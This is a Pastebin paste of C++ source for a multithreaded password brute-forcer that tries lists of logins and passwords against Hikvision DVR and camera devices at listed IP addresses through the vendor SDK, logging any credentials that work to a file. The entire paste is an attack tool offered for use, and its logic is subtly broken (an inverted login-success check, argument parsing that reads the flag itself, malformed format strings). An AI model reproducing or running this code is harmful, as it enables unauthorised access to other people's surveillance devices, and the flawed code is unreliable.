Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "HikSDK.h"
- #include <iostream>
- #include <fstream>
- #include <string>
- #include <vector>
- #include <thread>
- #include <mutex>
- #include <cstdio>
- #include <cstdlib>
- #include <cstdarg>
- #include <cstring>
- typedef struct
- {
- const char *name;
- const char *val;
- const char *desc;
- } cvar_t;
- cvar_t ip_file{ "ip_file", "ip.txt", "Ip file ( default: ip.txt )" };
- cvar_t pass_file{ "pass_file", "password.txt", "Password file ( default: password.txt )" };
- cvar_t logins_file{ "logins_file", "logins.txt", "Logins file ( default: logins.txt" };
- cvar_t port_num{ "port_num", "8000", "Port number ( default: 8000 )" };
- cvar_t out_file{ "out_file", "out.txt", "Output file( default: out.txt )" };
- cvar_t thread_num{ "thread_num", "1", "Threads count ( default: 1 )" };
- static std::vector<std::string> logins, passwords, ips;
- static std::mutex sync;
- void CheckArg( int argc, char *argv[] );
- void LoadData();
- void TryLogin();
- void WriteData( const char *format, ... );
- void ThreadSpawn( const unsigned int num );
- void PrintHelp();
- int main( int argc, char* argv[] )
- {
- CheckArg( argc, argv );
- LoadData();
- if( ips.empty() )
- {
- printf( "No IP has given.\nExit." );
- return 0;
- }
- ThreadSpawn( atoi( thread_num.val ) );
- TryLogin();
- return 0;
- }
- void ThreadSpawn( const unsigned int num )
- {
- std::vector<std::thread> threads;
- for( unsigned int i = 0; i < num; i++ )
- {
- threads.push_back( std::thread( TryLogin ) );
- }
- for( unsigned int i = 0; i < num; i++ )
- {
- threads[i].join();
- }
- }
- void PrintHelp()
- {
- printf( "-port %\n", port_num.desc );
- printf( "-ip %\n", ip_file.desc );
- printf( "-pass %\n", pass_file.desc );
- printf( "Yoba Inc." );
- }
- void LoadData()
- {
- std::ifstream file;
- std::string line;
- file.open( logins_file.val, std::ifstream::in );
- while( std::getline( file, line ) )
- {
- logins.push_back( line );
- }
- file.close();
- file.open( pass_file.val, std::ifstream::in );
- while( std::getline( file, line ) )
- {
- passwords.push_back( line );
- }
- file.close();
- file.open( ip_file.val, std::ifstream::in );
- while( std::getline( file, line ) )
- {
- ips.push_back( line );
- }
- file.close();
- }
- void TryLogin()
- {
- FILE *file;
- file = fopen( out_file.val, "w" );
- fclose( file );
- if( !NET_DVR_Init() )
- {
- printf( "Error NET_DVR_Init\n.Exit." );
- return;
- }
- NET_DVR_SetConnectTime( 2000, 1 );
- NET_DVR_SetReconnect( 1000, true );
- NET_DVR_DEVICEINFO device_info;
- while( true )
- {
- std::string ip;
- sync.lock();
- if( !ips.empty() )
- {
- ip = ips.back();
- ips.pop_back();
- }
- else
- {
- sync.unlock();
- break;
- }
- sync.unlock();
- bool login_success = false;
- for( const auto &login : logins )
- {
- for( const auto &password : passwords )
- {
- int UserID;
- UserID = NET_DVR_Login( (char*)ip.c_str(), atoi( port_num.val ), (char*)login.c_str(), (char*)password.c_str(), &device_info );
- if( UserID < 0 )
- {
- login_success = true;
- WriteData( "IP: %s Login: %s Pass: %s Port: %s\n", ip.c_str(), login.c_str(), password.c_str(), port_num.val );
- NET_DVR_Logout( UserID );
- break;
- }
- }
- if( login_success )
- {
- login_success = false;
- break;
- }
- }
- }
- NET_DVR_Cleanup();
- }
- void WriteData( const char *format, ... )
- {
- va_list list;
- FILE *file;
- file = fopen( out_file.val, "a" );
- if( !file )
- {
- fprintf( stderr, "WriteData: cannot open file\n" );
- return;
- }
- va_start( list, format );
- vfprintf( file, format, list );
- va_end( list );
- fclose( file );
- }
- void CheckArg( int argc, char *argv[] )
- {
- for( int i = 1; i < argc; i++ )
- {
- if( !strcmp( argv[i], "-port" ) )
- {
- port_num.val = argv[i++];
- }
- if( !strcmp( argv[i], "-ip" ) )
- {
- ip_file.val = argv[i++];
- }
- if( !strcmp( argv[i], "-pass" ) )
- {
- pass_file.val = argv[i++];
- }
- if( !strcmp( argv[i], "-logins" ) )
- {
- logins_file.val = argv[i++];
- }
- if( !strcmp( argv[i], "-tnum" ) )
- {
- thread_num.val = argv[i++];
- }
- if( !strcmp( argv[i], "-help" ) )
- {
- PrintHelp();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment